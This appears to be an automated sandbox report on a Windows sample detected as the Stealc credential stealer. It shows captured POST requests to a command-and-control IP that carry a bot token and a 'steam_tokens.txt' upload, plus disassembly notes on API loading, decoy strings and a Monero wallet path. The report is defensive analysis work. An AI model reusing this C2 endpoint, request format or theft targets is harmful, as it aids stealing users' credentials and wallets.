Oct 25, 2024 01:27:26.412091970 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 23:27:26 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 25, 2024 01:27:26.442996979 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAAFBKECAKEHIEBAFIE Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 35 33 62 36 61 61 63 66 62 37 37 36 35 33 32 31 39 30 32 32 63 65 61 65 37 66 64 61 34 37 66 32 38 63 36 30 35 64 61 32 38 65 30 35 63 65 62 34 32 66 61 38 64 32 37 31 62 33 38 30 62 63 37 64 37 64 66 34 62 34 64 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 41 46 42 4b 45 43 41 4b 45 48 49 45 42 41 46 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DAAAFBKECAKEHIEBAFIEContent-Disposition: form-data; name="token"153b6aacfb77653219022ceae7fda47f28c605da28e05ceb42fa8d271b380bc7d7df4b4d------DAAAFBKECAKEHIEBAFIEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------DAAAFBKECAKEHIEBAFIEContent-Disposition: form-data; name="file"------DAAAFBKECAKEHIEBAFIE--
Oct 25, 2024 01:27:27.219247103 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 23:27:26 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 25, 2024 01:27:27.253669024 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJECAAKKFHCFIECAAAKE Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 35 33 62 36 61 61 63 66 62 37 37 36 35 33 32 31 39 30 32 32 63 65 61 65 37 66 64 61 34 37 66 32 38 63 36 30 35 64 61 32 38 65 30 35 63 65 62 34 32 66 61 38 64 32 37 31 62 33 38 30 62 63 37 64 37 64 66 34 62 34 64 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 43 41 41 4b 4b 46 48 43 46 49 45 43 41 41 41 4b 45 2d 2d 0d 0a Data Ascii: ------HJECAAKKFHCFIECAAAKEContent-Disposition: form-data; name="token"153b6aacfb77653219022ceae7fda47f28c605da28e05ceb42fa8d271b380bc7d7df4b4d------HJECAAKKFHCFIECAAAKEContent-Disposition: form-data; name="message"ybncbhylepme------HJECAAKKFHCFIECAAAKE--
Oct 25, 2024 01:27:27.536762953 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 23:27:27 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 5793 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 72 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 65 67 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 70 74 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 61 63 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 0a 3c 62 72 3e 2a 2e 62 64 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 2e 67 6f 6f [TRUNCATED] Data Ascii: .pl<br> 1.google.com.google.com<br>.ar<br> 1.google.com.google.com<br>.br<br> 1.google.com.google.com<br>.ec<br> 1.google.com.google.com<br>.eg<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.pt<br> 1.google.com.google.com<br>.ac<br> 1.google.com.google.com<br>.bd<br> 1.google.com.google.com<br>.zm<br> 1.google.com.google.com<br>.ve<br> 1.google.com.google.com<br>.pk<br> 1.google.com.google.com<br>.rs<br> 1.google.com.google.com<br>.ph<br> 1.google.com.google.com<br>.mx<br> 1.google.com.google.com<br>.in<br> 1.google.com.google.com<br>.th<br> 1.google.com.google.com<br>.id<br> 1.google.com.google.com<br>.tr<br> 1.google.com.google.com<br>.cz<br> 1.google.com.google.com<br>.io<br> 1.google.com.google.com<br>.dz<br> 1.google.com.google.com<br>.de<br> 1.google.com.google.com<br>.kr<br> 1.google.com.google.com<br>.ma<br> 1.google.com.google.com<br>.jp<br> 1.google.com.google.com
Oct 25, 2024 01:27:27.538198948 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJKKFIJKFCAKJJJKJKFI Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 35 33 62 36 61 61 63 66 62 37 37 36 35 33 32 31 39 30 32 32 63 65 61 65 37 66 64 61 34 37 66 32 38 63 36 30 35 64 61 32 38 65 30 35 63 65 62 34 32 66 61 38 64 32 37 31 62 33 38 30 62 63 37 64 37 64 66 34 62 34 64 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4b 4b 46 49 4a 4b 46 43 41 4b 4a 4a 4a 4b 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------HJKKFIJKFCAKJJJKJKFIContent-Disposition: form-data; name="token"153b6aacfb77653219022ceae7fda47f28c605da28e05ceb42fa8d271b380bc7d7df4b4d------HJKKFIJKFCAKJJJKJKFIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------HJKKFIJKFCAKJJJKJKFI--
Oct 25, 2024 01:27:28.313406944 CEST	202	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 23:27:27 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	19:27:02
Start date:	24/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x9f0000
File size:	1'821'184 bytes
MD5 hash:	73AD7E38FCA04042535133A8E77CB2A7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2419533925.000000000151A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2173789827.0000000005050000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2419533925.00000000014BE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	6.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	11%
Total number of Nodes:	2000
Total number of Limit Nodes:	38

Executed Functions

Function 00A09860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,014D0808), ref: 00A098A1
GetProcAddress.KERNEL32(76210000,014D08E0), ref: 00A098BA
GetProcAddress.KERNEL32(76210000,014D0970), ref: 00A098D2
GetProcAddress.KERNEL32(76210000,014D0958), ref: 00A098EA
GetProcAddress.KERNEL32(76210000,014D0988), ref: 00A09903
GetProcAddress.KERNEL32(76210000,014D8BE8), ref: 00A0991B
GetProcAddress.KERNEL32(76210000,014C6238), ref: 00A09933
GetProcAddress.KERNEL32(76210000,014C6258), ref: 00A0994C
GetProcAddress.KERNEL32(76210000,014D07A8), ref: 00A09964
GetProcAddress.KERNEL32(76210000,014D0820), ref: 00A0997C
GetProcAddress.KERNEL32(76210000,014D0A00), ref: 00A09995
GetProcAddress.KERNEL32(76210000,014D0928), ref: 00A099AD
GetProcAddress.KERNEL32(76210000,014C61F8), ref: 00A099C5
GetProcAddress.KERNEL32(76210000,014D0778), ref: 00A099DE
GetProcAddress.KERNEL32(76210000,014D0790), ref: 00A099F6
GetProcAddress.KERNEL32(76210000,014C6318), ref: 00A09A0E
GetProcAddress.KERNEL32(76210000,014D0838), ref: 00A09A27
GetProcAddress.KERNEL32(76210000,014D0880), ref: 00A09A3F
GetProcAddress.KERNEL32(76210000,014C60B8), ref: 00A09A57
GetProcAddress.KERNEL32(76210000,014D0AA8), ref: 00A09A70
GetProcAddress.KERNEL32(76210000,014C6378), ref: 00A09A88
LoadLibraryA.KERNEL32(014D0A18,?,00A06A00), ref: 00A09A9A
LoadLibraryA.KERNEL32(014D0AC0,?,00A06A00), ref: 00A09AAB
LoadLibraryA.KERNEL32(014D0A90,?,00A06A00), ref: 00A09ABD
LoadLibraryA.KERNEL32(014D0AD8,?,00A06A00), ref: 00A09ACF
LoadLibraryA.KERNEL32(014D0A30,?,00A06A00), ref: 00A09AE0
GetProcAddress.KERNEL32(75B30000,014D0A48), ref: 00A09B02
GetProcAddress.KERNEL32(751E0000,014D0A60), ref: 00A09B23
GetProcAddress.KERNEL32(751E0000,014D0A78), ref: 00A09B3B
GetProcAddress.KERNEL32(76910000,014D8E78), ref: 00A09B5D
GetProcAddress.KERNEL32(75670000,014C6358), ref: 00A09B7E
GetProcAddress.KERNEL32(77310000,014D8BC8), ref: 00A09B9F
GetProcAddress.KERNEL32(77310000,NtQueryInformationProcess), ref: 00A09BB6

Strings

NtQueryInformationProcess, xrefs: 00A09BAA

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: e5ca00023b734453bf3434f92ec768ab64e36de4499e3e7520d243a021b0330d
Instruction ID: 50a95a0a51baeacf9b56d3cece2bf031fb17f4d670f049124eed1b774b66b521
Opcode Fuzzy Hash: e5ca00023b734453bf3434f92ec768ab64e36de4499e3e7520d243a021b0330d
Instruction Fuzzy Hash: EAA13AB5524240AFD344EFA8FD88B6E37F9F75D301704851AE689C32B4D63A9861CB53

Function 009F45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 009F460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 009F479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009F4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009F4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009F4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009F4770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009F45C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009F4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009F4713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009F45E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009F45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009F462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009F4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009F477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009F46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009F474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009F4765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009F46C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009F46CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009F4729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009F45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009F46D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009F4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009F4617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009F4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009F473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009F4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009F46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009F471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009F45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009F475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 009F466D

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: bf1d313d38c6264493134fbfa5eca9873c95d983908791bca2850985e6790eee
Instruction ID: 974a44a76e5f7c33de9268ebc8c03199c3f153250e3265de2fdd0f1c4ba8d3a3
Opcode Fuzzy Hash: bf1d313d38c6264493134fbfa5eca9873c95d983908791bca2850985e6790eee
Instruction Fuzzy Hash: 2E41B060BF7A04BB872CBBB49CCEEDD76676FDA700B545844E8145A283CBE0D5804667

Function 009FBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A0A740: lstrcpy.KERNEL32(00A10E17,00000000), ref: 00A0A788

Part of subcall function 00A0A920: lstrcpy.KERNEL32(00000000,?), ref: 00A0A972
Part of subcall function 00A0A920: lstrcat.KERNEL32(00000000), ref: 00A0A982

Part of subcall function 00A0A9B0: lstrlen.KERNEL32(?,014D89B8,?,\Monero\wallet.keys,00A10E17), ref: 00A0A9C5
